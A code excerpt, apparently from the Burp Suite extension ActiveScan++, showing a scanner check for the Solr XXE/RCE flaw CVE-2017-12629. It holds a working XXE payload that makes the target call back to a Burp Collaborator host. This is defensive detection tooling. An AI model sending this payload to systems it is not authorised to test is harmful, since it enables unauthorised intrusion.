(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint)
| 12 | } |
| 13 | |
| 14 | @Override |
| 15 | public List<IScanIssue> doActiveScan (IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint){ |
| 16 | IBurpCollaboratorClientContext collab = callbacks.createBurpCollaboratorClientContext(); |
| 17 | String obfuscatedPayload = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://" + collab.generatePayload(true) + "/xxe\"><a></a>'}"; |
| 18 | IHttpRequestResponse attack = request2(basePair, insertionPoint, obfuscatedPayload); |
| 19 | List<IBurpCollaboratorInteraction> interactions = collab.fetchAllCollaboratorInteractions(); |
| 20 | |
| 21 | List<IScanIssue> issues = new ArrayList<>(); |
| 22 | if (!interactions.isEmpty()) { |
| 23 | issues.add(new CustomScanIssue( |
| 24 | attack.getHttpService(), |
| 25 | helpers.analyzeRequest(attack).getUrl(), |
| 26 | new IHttpRequestResponse[]{attack}, |
| 27 | "Solr XXE/RCE (CVE-2017-12629)", |
| 28 | "The application appears to be running a version of Solr vulnerable to XXE. ActiveScan++ sent a reference to an external file, and received a pingback from the server.<br/><br/>" + |
| 29 | "To investigate, use the manual collaborator client. It may be possible to escalate this vulnerability into RCE. Please refer to https://mail-archives.apache.org/mod_mbox/lucene-dev/201710.mbox/%3CCAJEmKoC%2BeQdP-E6BKBVDaR_43fRs1A-hOLO3JYuemmUcr1R%2BTA%40mail.gmail.com%3E for further information", |
| 30 | "Firm", |
| 31 | CustomScanIssue.severity.High |
| 32 | )); |
| 33 | } |
| 34 | |
| 35 | return issues; |
| 36 | } |
| 37 | } |
nothing calls this directly
no test coverage detected